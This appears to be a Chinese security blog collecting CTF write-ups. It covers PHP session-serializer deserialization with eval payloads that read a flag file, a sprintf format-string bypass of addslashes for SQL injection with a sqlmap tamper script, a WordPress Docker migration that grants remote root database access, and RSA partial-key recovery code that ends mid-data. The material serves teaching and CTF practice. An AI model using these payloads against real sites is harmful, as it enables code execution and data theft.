[Web]PHP session反序列化漏洞总结

session的存贮以及序列化以及漏洞

储存session

每个session标签对应着一个$_SESSION键-值类型数组,数组中的东西需要存储下来,首先需要序列化。
在php中session有三种序列化的方式,分别是php_serialize,php和php_binary

serializer 实现方法
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize 把整个$_SESSION数组作为一个数组序列化

然后session序列化后需要储存在服务器上,默认的方式是储存在文件中,储存路径在session.save_path中,如果没有规定储存路径,那么默认会在储存在/tmp中,文件的名称是’sess_’+session名,文件中储存的是序列化后的session。

php序列化机制

  • String
    s:size:value;
  • Integer
    i:value;
  • Boolean
    b:value; (does not store "true" or "false", does store '1' or '0')
  • Null
    N;
  • Array
    a:size:{key definition;value definition;(repeated per element)}
  • Object
    O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

如果序列化一个对象,那么序列化的时候会调用__sleep()魔术方法,在反序列化时会调用__wakeup()魔术方法。

所以,如果我们有机会构造反序列化的东西,我们就有可能可以执行某些类的__wakeup__distruct()方法。

CVE-2016-7124
当对象标称成员个数多于实际成员个数时,会跳过__wakeup()方法,但是任然会执行__destruct()方法。
影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10

如果在序列化字符串后面添加其他字符,该序列化字符串仍能反序列化成功。

设置session序列化方法中可能带来的隐患

我们现在先写一个对session写入的php脚本

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$name = $_GET['name'] ? $_GET['name'] : "name";
$value = $_GET['value'] ? $_GET['value'] : "value";
$_SESSION[$name] = $value;

if(isset($_GET['clean'])) session_destroy();

服务器中默认的session序列化器是php

我们对其传入一个value=|s:5:"hack!";,这时,session文件中储存的内容就会变成:
a:1:{s:4:"name";s:13:"|s:5:"hack!";";}
这在php_serialize中是一个数组,包含一个元素,但是如果另一个php页面没有设置相同的的序列化器,则会使用默认的序列化器php。如果用php序列化器解释session文件中的内容,|前的部分被解析为键,|后的部分被解析为值。对|后的部分进行分序列化,s:5:"hack!";会被解析字符串”hack!”,之后的";}会被直接忽略掉。
所以在另一个页面中我们session的内容就是Array ( [a:1:{s:4:"name";s:13:"] => hack! ),这就提供给了我们利用反序列化漏洞的机会。

php的upload_progress功能简述

upload_progress的目的是检测一个文件的上传进度,当然这个进度对上传没有什么用,但是可以允许客户端通过API获取当前的上传进度。在session.upload_process.enabled开启时会启用这个功能,在php.ini中会默认启用这个功能。
使用方法大体是这样,在POST一个文件之前,先传一个name为session.upload_progress.name(默认为PHP_SESSION_UPLOAD_PROGRESS),value为用户自定义的一个upload_id。在文件上传的过程中,php会在session中生成一个上传信息,它在session中的键是session.upload_progress.prefix加上用户自定义的upload_id。在上传结束后这个session中的键值对会直接消失。下面是一个官方给的例子:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

session中储存的值为:

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time
 "content_length" => 57343257, // POST content length
 "bytes_processed" => 453489,  // Amount of bytes received and processed
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

这个功能非常具有实用性,但是在使用条件方面是相当苛刻的。首先如果你是通过fastcgi使用PHP则完全不能使用这个功能,标志使用upload_progress的字段必须在文件之前,自定义session name可能会出现问题,因为这个处理是在php脚本运行之前处理的,存入的是默认的php session。还有最重要的一点,POST数据必须是实时发送给PHP的,否则PHP根本不可能监控文件上传,但是有很多web服务器都自带缓存功能,在整个文件POST完成的时候把数据发送给PHP,比如nginx啦,在服务端装了个nginx的反向代理肯定是不行的;在评论区有人说Apache2也需要关掉mod_mpm_prefork.so,但是我a2dismod mpm_prefork之后Apache直接报错挂了(砸),所以至今没有成功的使用这个功能。

Secondly – in apache, don’t use mod_mpm_prefork.so
That was the problem I had, that’s the default in CentOS 7.
The problem is it causes Apache to wait with any additional requests until the upload is finished.

但是我们关注一下这个设置参数session.upload_progress.cleanup,这个选项的意思是上传完成时从session中清除上传进度信息,默认为开启,如果将其关闭的化,这个上传进度信息会一直留在session中,把这个选项关掉后我终于复现成功了,在session中读取了以下信息:

Array
(
    [upload_progress_ryat] => Array
        (
            [start_time] => 1535375683
            [content_length] => 326
            [bytes_processed] => 326
            [done] => 1
            [files] => Array
                (
                    [0] => Array
                        (
                            [field_name] => file
                            [name] => BrunuhVille - Timeless.torrent
                            [tmp_name] => /tmp/phpI3trrB
                            [error] => 3
                            [done] => 1
                            [start_time] => 1535375683
                            [bytes_processed] => 326
                        )

                )

        )

)

所以最终通过upload_progress,我们可以有限的更改session。

Jarvis OJ PHPINFO writeup

拿到源码我们发现,存在一个对象,销毁的时候会eval一个成员变量,并且注释提示我们a webshell is waiting for you。我们猜到是要用eval弹一个webshell,同时我们可以查看phpinfo,在phpinfo中我们找到了一下关键的信息:
session.serialize_handler的master_value(在php.ini)中设置的值是php_serialize,然后在脚本启动时把这个值设置为php,这给我们提供了利用序列化器的不同进行实体注入的机会。
但是我们要找到一个写入session的机会,我们注意到session.upload_progress.enabled是开启的,同时session.upload_progress.cleanup是关闭的,所以upload_progress创建的session信息会已知一直在session中。
所以我们先创建一个辅助网页进行POST

<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
<input name="PHP_SESSION_UPLOAD_PROGRESS" type="text">
<input type="file" name="file">
<input type="submit">
</form>

在upload_process中我们有两个途径改变session的值,一个是PHP_SESSION_UPLOAD_PROGRESS的值,它session键的一部分,另一个是文件名,在这里我们选择前者,因为比较方便。
因为目标服务器中session系列化器的全局设置是php_serialize, 所以upload_progress会用php_serialize的方式创建session文件,在执行index.php时,index.php先把序列化器设为php,然后session_start(),读取session文件。之前说过php序列化器,|前为键,|后为值,并且反序列化值的时候,会无视后面的东西,所以我们只需要在session中构造|序列化后的字符串就能成功进行php实体注入。
于是我们可以构造如下payload:

  • |O:5:"OowoO":1:{s:4:"mdzz";s:18:"print_r(__FILE__);";}
    获取网页根目录/opt/lampp/htdocs
  • |O:5:"OowoO":1:{s:4:"mdzz";s:39:"print_r(scandir('/opt/lampp/htdocs/'));";}
    获取储存flag的文件Here_1s_7he_fl4g_buT_You_Cannot_see.php
  • |O:5:"OowoO":1:{s:4:"mdzz";s:84:"echo file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php');";}
    读出flag

记我的WordPress站点的docker化

故事背景

我的学生乞丐服务器里跑着三个人的博客,用的是一个巨老的Mariadb做服务器,燃鹅这个数据库三天崩了两次,所以必须把服务器docker化提上日程了,以前尝试但是失败了,现在是时候完成它了。

前期准备

  • 卸载wp-supercache,因为这个插件里配置文件一堆绝对路径,怕被坑随意先卸载吧
  • 备份数据库
  • 备份网页文件
  • systemctl stop/disable httpd
  • systemctl stop/disable mariadb
  • 宣布网站倒闭!

数据库的docker化

我们使用的是mariadb。可以新开一个mariadb的容器,把数据-v到其他的地方,但是我们的机器上原来跑着一个数据库,/var/lib/mysql理还有原来的数据。按照mariadb官方文档的说法,我们可以在原来已有数据的基础上运行一个数据库。

If you start your mariadb container instance with a data directory that already contains a database (specifically, a mysql subdirectory), the $MYSQL_ROOT_PASSWORD variable should be omitted from the run command line; it will in any case be ignored, and the pre-existing database will not be changed in any way.

不设置密码就行,所以我们
docker run -v /var/lib/mysql:/var/lib/mysql --name main_sql mariadb
运行数据库容器。
但这时候我们遇到了一个尴尬的问题,原来的数据库是默认不能远程登录root的,但是在容器里运行数据库必须能远程登录root,否则其他的容器会连不上这个数据库,我们必须进入容器登录数据库然后完成授权操作。
docker exec -it main_sql mysql -uroot -p
进入数据库后执行:

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'your_password' WITH GRANT OPTION;
FLUSH PRIVILEGES;

成功授权其他容器访问数据库。

web服务的docker化

我们的服务器中运行着不同域名的多个博客,不同的博客可以放置在不同容器中,再使用一个nginx-proxy容器实现把流量反向代理到各个容器。只要在目标容器中加入一条环境变量,就能自动反向代理到该容器。同时,这个容器还能实现https,集中管理证书,外部https流量解密成http再代理到对应的容器;同时配合docker-letsencrypt-nginx-proxy-companion,自动获取letsencrypt证书,再也不用担心证书过期了。
具体来说,我们先运行两个容器:

$ docker run -d -p 80:80 -p 443:443 \
    --name nginx-proxy \
    -v /path/to/certs:/etc/nginx/certs:ro \
    -v /etc/nginx/vhost.d \
    -v /usr/share/nginx/html \
    -v /var/run/docker.sock:/tmp/docker.sock:ro \
    --label com.github.jrcs.letsencrypt_nginx_proxy_companion.nginx_proxy \
    jwilder/nginx-proxy
$ docker run -d \
    -v /path/to/certs:/etc/nginx/certs:rw \
    -v /var/run/docker.sock:/var/run/docker.sock:ro \
    --volumes-from nginx-proxy \
    --name nginx-letsencrypt \
    jrcs/letsencrypt-nginx-proxy-companion

之后运行web容器时,只需要加上-e VIRTUAL_HOST=<域名> -e LETSENCRYPT_HOST=<域名> -e LETSENCRYPT_EMAIL=<邮箱>就行

注:nginx-proxy默认启用HSTS,如果你不确定你会不会遇到不能成功上https,mixed content之类的问题,建议加上-e HSTS=off

然后是WordPress的容器化,在官方页面里并没有提到-v的用法,但是根据docker里的脚本我们可以发现,可以把相关数据-v进/var/www/html中。同时我们要注意,虽然在外部使用了https但是最终到达WordPress容器的流量是http,所以WordPress会认为你没有使用https而疯狂302,在WordPress官方文档上我们发现:

Using a Reverse Proxy

If WordPress is hosted behind a reverse proxy that provides SSL, but is hosted itself without SSL, these options will initially send any requests into an infinite redirect loop. To avoid this, you may configure WordPress to recognize the HTTP_X_FORWARDED_PROTO header (assuming you have properly configured the reverse proxy to set that header).

所以要在wp-config.php中加入:

define('FORCE_SSL_ADMIN', true);
// in some setups HTTP_X_FORWARDED_PROTO might contain 
// a comma-separated list e.g. http,https
// so check for https existence
if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
       $_SERVER['HTTPS']='on';

应该就可以顺利登录了。
如果发现不能装主题插件,对目录没有写权限,需要docker exec <容器名> chown -R www-data:www-data /var/www/html
到此迁移工作全部完成

php中利用格式化字符串漏洞绕过addslashes注入

php中sprintf的使用方法

查阅官方文档如果熟悉c语言的printf对sprintf的用法也不会很陌生。

<?php
$num = 5;
$location = 'tree';
$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>

%表示一个打印位置,后面用一些控制符来规定输出格式,我们重点关注这一条性质。

  1. An optional padding specifier that says what character will be used for padding the results to the right string size. This may be a space character or a 0 (zero character). The default is to pad with spaces. An alternate padding character can be specified by prefixing it with a single quote (‘). See the examples below.

大体意思是说我们可以指定宽度打印一个东西,如果需要的宽度比需要打印的东西多,那么我们就需要进行填充,默认以空格填充,或者以0填充,也可以用指定的字符填充,制定的字符前面要加上',例子如下:

<?php
$s = 'monkey';
$t = 'many monkeys';

printf("[%s]\n",      $s); // standard string output
printf("[%10s]\n",    $s); // right-justification with spaces
printf("[%-10s]\n",   $s); // left-justification with spaces
printf("[%010s]\n",   $s); // zero-padding works on strings too
printf("[%'#10s]\n",  $s); // use the custom padding character '#'
printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters
?>

输出如下:

[monkey]
[    monkey]
[monkey    ]
[0000monkey]
[####monkey]
[many monke]

在第5行我们可以看到,我们使用了#作为填充符,'被识别为参数最终没有出现在最终的结果中,在条件适合的时候我们可以用格式化字符串的这个特性逃逸引号进行sql注入。


同时我们关注另一个特性,如果我们想用另外的顺序映射对应格式化点和参数我们可以使用以下的方法:

<?php
$format = 'The %2$s contains %1$d monkeys.
           That\'s a nice %2$s full of %1$d monkeys.';
echo sprintf($format, $num, $location);
?>

并且如果%后面跟了其他符号,会被直接无视。

通过格式化字符串绕过addslashes

如果我们能在格式化字符串中拼接%‘ or 1=1#,进入服务器后addslashes结果变成%\' or 1=1#,再拼接入待格式化的sql语句:

SELECT username, password FROM users where username='%\' or 1=1#'

因为%\不是任何一种输出类型,格式化后得到:

SELECT username, password FROM users where username='' or 1=1#'

成功逃逸
但是可能会出现php报错:PHP Warning: sprintf(): Too few arguments
可以使用这样的payload:%1$'不会引起相关报错

利用条件

$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$format = "SELECT * FROM user WHERE username='$username' and password=''%s';";
$sql = sprintf($format, $password);

总之就是要用户输入待格式化字符串的内容,并且输入或被addslashes
//真的蠢

相关tamper

#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces quote character (') with a multi-byte combo %251%24%27 together with
    generic comment at the end (to make it work)

    Notes:
        * Useful for bypassing magic_quotes/addslashes feature

    >>> tamper("1' AND 1=1")
    '1%251%24%27-- '
    """

    retVal = payload

    if payload:
        found = False
        retVal = ""

        for i in xrange(len(payload)):
            if payload[i] == '\'' and not found:
                retVal += "%251%24%27"
                found = True
            else:
                retVal += payload[i]
                continue

        if found:
            _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
            if _ != retVal:
                retVal = _
                retVal += "-- "
            elif not any(_ in retVal for _ in ('#', '--', '/*')):
                retVal += "-- "
    return retVal

ichunqiu Web200 SQLI WriteUp

又是开局一个登录页,做法全靠猜。扫个目录,没东西。
随便试几个用户名密码,发现用户名为admin的时候,回显password error,其他用户名显示username error,再传个数组进去试一下,发现addslashes报错,说明是使用了addslashes函数的,自然想到宽字节注入但是并没有什么卵用。
于是放到burpsuite的intruder里跑一跑waf字典,发现%符号会导致sprintf报错,于是确定是sprintf格式化字符串漏洞绕过单引号。
构造payloadusername=admin%1$' and 1=1#&password=1
username=admin%1$' and 1=0#&password=1
发现存在布尔盲注注入点,所以可以自己写脚本或者用用sqlmap挂tamper做,需要注意的是sqlmap需要开到level 3及以上,并且如果dump出现错误,可以指定technique,用--technique=B实现。

[RSA]私钥重构

Openssl中私钥的构成

在传统的RSA中,通常我们认为(n,e)是公钥,(n,d)是私钥,加密解密使用
c\equiv m^e\pmod n, \ m\equiv c^d\pmod n
这固然是没有问题的,但是考虑到我们一般取e=\text{0x10001},这个时候d一般是一个很大的数字,加密起来速度很慢。
在私钥中不仅存在我们熟知的n, e, d,我们在查看私钥openssl rsa -in private.pem -text时发现私钥中存在以下值:

参数 含义
modulus n
publicExponent e
privateExponent d
prime1 p
prime2 q
exponent1 d_p=d \bmod {(p-1)}
exponent2 d_q=d\bmod {(q-1)}
coefficient q_p=q^{-1}\bmod p

在RSA加密标准PKCS #1 v2.2中我们可以看到这样的描述:

For the purposes of this document, an RSA private key may have either
of two representations.

  1. The first representation consists of the pair (n, d), where the
    components have the following meanings:

       n       the RSA modulus, a positive integer
       d       the RSA private exponent, a positive integer
    
  2. The second representation consists of a quintuple (p, q, dP, dQ,
    qInv) and a (possibly empty) sequence of triplets (r_i, d_i,
    t_i), i = 3, …, u, one for each prime not in the quintuple,
    where the components have the following meanings:

       p      the first factor, a positive integer
       q      the second factor, a positive integer
       dP     the first factor's CRT exponent, a positive integer
       dQ     the second factor's CRT exponent, a positive integer
       qInv   the (first) CRT coefficient, a positive integer
       r_i    the i-th factor, a positive integer
       d_i    the i-th factor's CRT exponent, a positive integer
       t_i    the i-th factor's CRT coefficient, a positive integer
    

    In a valid RSA private key with the first representation, the RSA
    modulus n is the same as in the corresponding RSA public key and is
    the product of u distinct odd primes r_i, i = 1, 2, …, u, where u
    >= 2. The RSA private exponent d is a positive integer less than n
    satisfying

    e * d == 1 (mod \lambda(n)),

    where e is the corresponding RSA public exponent and \lambda(n) is
    defined as in Section 3.1.

我们可以看到,私钥分为两个部分,第一部分是最基本的私钥参数,有了(n,d)才能完成解密过程;另一部分参数是为了加速解密速度。

In a valid RSA private key with the second representation, the two
factors p and q are the first two prime factors of the RSA modulus n
(i.e., r_1 and r_2); the CRT exponents dP and dQ are positive
integers less than p and q, respectively, satisfying

 e * dP == 1 (mod (p-1))

 e * dQ == 1 (mod (q-1)) ,

and the CRT coefficient qInv is a positive integer less than p
satisfying

 q * qInv == 1 (mod p).

我们之前对d_p的定义是d_p=d\pmod{(p-1)},在这里我们做以下推导
\begin{aligned} d_p&\equiv d&\pmod {p-1}\\\\ ed_p&\equiv ed&\pmod {p-1}\\\\ ed_p&\equiv k\varphi(n)+1&\pmod{p-1}\\\\ ed_p&\equiv k(p-1)(q-1)+1&\pmod{p-1}\\\\ ed_p&\equiv 1&\pmod{p-1} \end{aligned}
同理可得ed_q\equiv 1\pmod {q-1}

RSA的解密过程

我们先参考一下原文

     a.  If the first form (n, d) of K is used, let m = c^d mod n.

     b.  If the second form (p, q, dP, dQ, qInv) and (r_i, d_i,
         t_i) of K is used, proceed as follows:

         i.   Let m_1 = c^dP mod p and m_2 = c^dQ mod q.

         ii.  If u > 2, let m_i = c^(d_i) mod r_i, i = 3, ..., u.

         iii. Let h = (m_1 - m_2) * qInv mod p.

         iv.  Let m = m_2 + q * h.

         v.   If u > 2, let R = r_1 and for i = 3 to u do

              1.  Let R = R * r_(i-1).

              2.  Let h = (m_i - m) * t_i mod r_i.

              3.  Let m = m + R * h.

我们可以看到如果只有(n,d)就直接按原始的解密公式解密就行。如果给出了第二部分的参数,就按如下的步骤进行(只考虑n只有两个因数的情况):
1. m_1=c^{d_p}\bmod p,\ m_2=c^{d_q}\bmod q
2. h=(m_1-m_2)*q_p \bmod p
3. m=m_2+qh

对上面的过程进行证明:
因为有ed_p\equiv 1\pmod {p-1},所以m_1=m^{ed_p}\bmod p=m^{k(p-1)+1}\bmod p
由于p是质数,所以由费马小定理m^{(p-1)}\equiv 1\pmod p可得到m_1=m\bmod p,同理m_2=m\bmod q
现在我们得到了m_1,m_2,需要用中国剩余定理求取m
我们不妨令m_1=m-k_1p,\ m_2=m-k_2q,所以就有:
\begin{aligned} h&=(m_1-m_2)q_p\bmod p\\\\ &=(k_2q-k_1p)q_p\bmod p\\\\ &=k_2q(q^{-1}\bmod p)\bmod p\ -k_1pq_p\bmod p\\\\ &=k_2 \end{aligned}
\begin{aligned} m&=m_2+qh\\\\ &=(m-k_2q)+k_2q\\\\ &=m \end{aligned}

如何尝试恢复私钥

首先我们因为得到了一个残缺不全的私钥,我们得到了一部分的私钥,私钥中有以下关系:
\begin{aligned} \varphi(n) &= n-p-q+1\\\\ ed&\equiv1\pmod{\varphi(n)}\\\\ ed_p&\equiv 1 \pmod{(p-1)}\\\\ ed_q&\equiv 1\pmod{(q-1)}\\\\ n &= pq \end{aligned}
在对其简易变形一下,我们在引入三个变量k. k_p, k_q,对上面的公式进行变形:
\begin{aligned} ed& = k\varphi(n) + 1\\\\ ed_p& = k_p(p-1) + 1\\\\ ed_q&=k_q(q-1)+1 \end{aligned}
如果a=b,那么显然a\equiv b\pmod n
更进一步,如果我们只考虑最低的t个半字节(4bit),既,把等式变换成\pmod {16^t}的同余式。
\begin{aligned} \varphi(n)&\equiv n-p-q+1&\pmod {16^t}\\\\ ed&\equiv k\varphi(n)+1&\pmod {16^t}\\\\ ed_p&\equiv k_p(p-1)+1&\pmod {16^t}\\\\ ed_q&\equiv k_q(q-1)+1&\pmod {16^t}\\\\ n&\equiv pq&\pmod {16^t} \end{aligned}
我们现在知道完整的n,e,部分的d,p,q,d_p,d_q,完全不知道k,k_p,k_q,我们可以用搜索回溯的方法恢复密钥,方法如下
1. 枚举第t位p可能的取值
2. 因为n\equiv pq\pmod{16^t},所以计算p=n\times q^{-1}\bmod {16^t},检查q的已知值
3. 计算d=(1+k(n-p-q+1))\times e^{-1}\bmod {16^t},检查d与已知部分是否符合
4. 计算d_p = (1+d_p(p-1)) \times e^{-1}\bmod {16^t},检查d_p与已知部分是否符合
5. 计算d_q=(1+d_q(q-1))\times e^{-1}\bmod{16^t},检查d_q与已知部分是否符合

上面的陈述的是搜索剪枝的思想,在搜索的时候我们采用广度优先搜索的方式进行搜索。
但是我们不能忽略一个重要的点,就是d,d_p,d_q的确定,在上面的表述中我们可以发现,如果要使用3,4,5步剪枝,就分别必须知道d,d_p,d_q的取值,在这之前我们先确定这三个值的范围。因为ed=k\varphi(n)+1,并且d<\varphi(n),所以必然有k < e;同理,k_p < e, k_q < e

那么我们就可以使用这样的搜索方法,先枚举k的取值,对每个k尝试搜索答案(仅用步骤1,2,3),如果可以搜索到达一定层数(代码中是20层),我们就确定当前k为正确值;然后我们枚举k_p的取值,用1,2,3,4步进行搜索,如果可以达到一定层数(代码中是30层),我们就确定k_p的值;最后我们枚举k_q的取值,尝试搜索出结果。

Jarvis OJ GodLike RSA

这道题目给出了一个4096位的RSA公钥,标准e,同时给出了部分私钥,参考国外类似题目wp,我们编写脚本完成解密

#!/usr/bin/python3

import re
from itertools import product
from Crypto.Util.number import GCD, inverse


def solve_linear(a, b, mod):
    if a & 1 == 0 or b & 1 == 0:
        return None
    return (b * inverse(a, mod)) & (mod - 1)  # 计算b*a^(-1)%mod


def to_n(s):
    s = re.sub(r"[^0-9a-f]", "", s)
    return int(s, 16)


def msk(s):
    cleaned = "".join(map(lambda x: x[-2:], s.split(":")))   #去掉冒号和多余字符和空格
    return msk_ranges(cleaned), msk_mask(cleaned), msk_val(cleaned)


def msk_ranges(s):      #    求每一个半字节的取值范围
    return [range(16) if c == " " else [int(c, 16)] for c in s]    


def msk_mask(s):
    return int("".join("0" if c == " " else "f" for c in s), 16)


def msk_val(s):
    return int("".join("0" if c == " " else c for c in s), 16)


N = to_n("""\
00:c0:97:78:53:45:64:84:7d:8c:c4:b4:20:e9:33:
58:67:ec:78:3e:6c:f5:f0:5c:a0:3e:ee:dc:25:63:
d0:eb:2a:9e:ba:8f:19:52:a2:67:0b:e7:6e:b2:34:
b8:6d:50:76:e0:6a:d1:03:cf:77:33:d8:b1:e9:d7:
3b:e5:eb:1c:65:0c:25:96:fd:96:20:b9:7a:de:1d:
bf:fd:f2:b6:bf:81:3e:3e:47:44:43:98:bf:65:2f:
67:7e:27:75:f9:56:47:ba:c4:f0:4e:67:2b:da:e0:
1a:77:14:40:29:c1:a8:67:5a:8f:f5:2e:be:8e:82:
31:3d:43:26:d4:97:86:29:15:14:a9:69:36:2c:76:
ed:b5:90:eb:ec:6f:ce:d5:ca:24:1c:aa:f6:63:f8:
06:a2:62:cb:26:74:d3:5b:82:4b:b6:d5:e0:49:32:
7b:62:f8:05:c4:f7:0e:86:59:9b:f3:17:25:02:aa:
3c:97:78:84:7b:16:fd:1a:f5:67:cf:03:17:97:d0:
c6:69:85:f0:8d:fa:ce:ee:68:24:63:06:24:e1:e4:
4c:f8:e9:ad:25:c7:e0:c0:15:bb:b4:67:48:90:03:
9b:20:7f:0c:17:eb:9d:13:44:ab:ab:08:a5:c3:dc:
c1:98:88:c5:ce:4f:5a:87:9b:0b:bf:bd:d7:0e:a9:
09:59:81:fa:88:4f:59:60:6b:84:84:ad:d9:c7:25:
8c:e8:c0:e8:f7:26:9e:37:95:7c:e1:48:29:0f:51:
e7:bd:98:2f:f6:cc:80:e7:f0:32:0b:89:51:92:4e:
c2:6d:50:53:2b:3b:77:72:d1:bd:1a:1f:92:d7:12:
79:61:61:c5:a4:7e:b3:85:eb:f0:7c:6d:46:03:c5:
e6:d5:81:2c:ba:7e:ea:8d:51:7d:63:55:34:2a:b6:
d4:dc:31:5a:f1:99:e3:dc:8c:83:0b:a2:2a:d5:3c:
41:48:41:54:1a:a9:e8:b6:70:bf:d3:fe:ed:19:17:
14:94:13:b3:17:e3:8b:8e:6f:53:ed:e2:44:e8:4a:
32:d6:5c:0d:a8:80:f5:fc:02:e9:46:55:d5:a4:d3:
e7:c6:30:77:f9:73:e9:44:52:d8:13:9d:5d:bf:9e:
fa:3a:b5:96:79:82:5b:cd:19:5c:06:a9:00:96:fd:
4c:a4:73:88:1a:ec:3c:11:de:b9:3d:e0:50:00:1e:
ac:21:97:a1:96:7d:6b:15:f9:6c:c9:34:7f:70:d7:
9d:2d:d1:48:4a:81:71:f8:12:dd:32:ba:64:31:60:
08:26:4b:09:22:03:83:90:17:7f:f3:a7:72:57:bf:
89:6d:e4:d7:40:24:8b:7b:bd:df:33:c0:ff:30:2e:
e8:6c:1d""")

p_ranges, pmask_msk, pmask_val = msk("""\
 0: e:  :  :  :c :c :  :  :  :b :  :  :  :  :
  :ab: e: 2: 8:c :  :  : 1:6 :6 : 6: f:d9: 0:
8 :5c:7 :06:  :  :  :0 : 3:5 :4b:  :6 :  :  :
2 :  :6 :  :  :  :2 :bc: c:  :85:1 : 1:d : 3:
 1:b4:  : b: 1: 3: d:a :  :  :6e: 0:b :2 :  :
  :b :  :9 :e :  :82:8d:  :  :13:  :  : a: a:
  :  :4 :  :c : f:  :  :7 :e :0a:  :  : b: 5:
  : e:91:3 :  :3c: 9:  : 6:  :  :b5:7d: 1:  :
  :  :  :b :a1:99:6 :4 :3 :c :1a:02:4 :  : 9:
9 :f : d:bd:  :0 :  :  :  :b3:  : 4:  :e9: 9:
  : d:  :  :7 :  :93:  : e:dc:  : 0:  :e7:  :
e :  :2 : b: 2:5 :  :  :  :  : c:5f:  :  :e2:
  :  : 9:  :2a:  : e:  :  :2 :  :9f: 7:3 :  :
b : f:b :  : 8: 7:  :  :f :6 :e :c :  :3 :  :
f7: 5: 8: 5:  :  :  :  :  : 8: e:  :03: c:  :
33:76:e : 1:7 : c:  : 0:  :0b:  : a:  : 2: 9:
  :c8:bf:  :  :06: 7:d5:  :02: c:b :e2: 7:2 :
  :  """)

q_ranges, qmask_msk, qmask_val = msk("""\
 0: f:  :d0: 1:55: 4:31:  : b:c4:8 :  : e: d:
34: 3:f :  :  :  :  : 8:99:1 :  : a:0 :  :4 :
0 :  :f :  :a4:41:2 :  :a :  : 1:  : a: c:  :
  :  : 9:  :  : 2:f4: f:  :  :  :  :1 : 4:9 :
a :  :  :79:0 :  :  :  :  : 2: 8:b :  :4 : 8:
  :9b: 1:  :d :  :f :e4:  :4 :c :e :  :3 :  :
 7:2 :  :d :8 :2 :7 :  :d :67:fc:e : 0:f9: 7:
8 :  :  :  :1 :2f:  :51:  :  :2e:0a: e:3d: 6:
b :  :dd:  : 0:fb:  :f4:  :  :  :b4: 9:c :  :
 a:  :  :  :d :  :  :6b: 2:  :9b: a:60:  :d6:
 0:4f:16:d1:  :  :5 :fc:  :f :  :8 :  :  :  :
 1: 6:e1:9 : e:4 : 6: c: d:d :73: 3:  :  :7 :
  :8 : 9:  :3b:f : 2:  :  :f1: e:  :  :1e:  :
8 :  :  : 6:0 : 4:99:e :  : 5:  :  : 4:  :  :
  : a:81:64:  :7 :f : 9: d:  :9 :  : 7:93:f :
ac:8c:  : 8:  : 0: d: 8:  :7 :  :1d:  :f :  :
1 :a :6 :8 :  :60:  :b3:  :  :  :89:  :  :14:
  :5 """)


_, dmask_msk, dmask_val = msk("""\
  :  :  : f:8 :a5:d : 2: 0:b :7 :  : 1:  : 4:
 1:0d:  :3 :  :6 :  :  : b:  :  :  :e :  :  :
0e: 0:db:  :1a:1c:c0:  : e:  :  :99:bc:8 :a5:
7 :7 :7 : b:  :  : 8: 8:  :7 :55: 2:  :  :f :
b2:  :  :b :f :4 :  : 8:  :b :  :  :  : 0:  :
0 :  :6 :9 :  :  :  : b: 4:  : 0: a: 5:07:b :
 9: c:9a: 9:  : 7:9e:  : b:60:f :  :  :  :0 :
  : 3:0 :  :  :  : 1:b :  :  : b: 6:0 :f :  :
  : 2:18: 6: b:1 :  :  :  :  :d3:f3:  :a :  :
 3:  :  :  :  : 3: d: 1: 2:7 :  : d:  : 2: d:
  :  : d:4 :  :d :  :6d: c:a :b6:  :  :  : 1:
69:  : 7:  :89:  :c :8 :61: d:25: 3:7 :1b: 4:
b :  :8 :55:  :49: 1:2 :3 :  :1 :e9:a8: 3:  :
9 :  : 1:f8:d3:  :e :  :d :  :9 :b6:  :  :71:
1 :  :c1:  : b: 1:  : 6:e :  :64:  :  :1a:c :
  : b:  :bf:c :  : 0:  : 8:a :4 :  :26:a :5 :
6 :  :  :  :eb:  :e5: a:  :3e:f9:10:0 :  :  :
 6:0 :  : 8:  : 1:72: c:0 : f:5 : f:9c: 0: e:
 7:b :  :  :  :  :d9: 4:  : e:c :68:  :  :  :
 c:  :3a:  :  :a0:ea: 3: 4:  :72:a :d : 8:  :
  :0d:5 :0 : a: 7:c :bb: 6: 4:a :ce:d :2 : 1:
  :  :17:6 :  : c: b:  : f:  :3 : 5:6 :3 :0e:
  : 7:c :3e: 2: 9: 7: 6: f: e: f: 9:  :f3: 9:
a :c1:6 :  : 1:9 :  :43:  : f: 5:  :0 :27: 4:
4 :a :  :e9:  : 8: 4:3 :8a: 6:16:d5:c : e: e:
  :d : c:b :a8:  : 7:  : 9:  :7 :7d:  :  :  :
  :  :  :4 :2 :  : 3: 3: 6:  :  :  :7b:0 :  :
 e:  :0 :  :a :  : 5:  :  :  : 5:1 :82:c :0d:
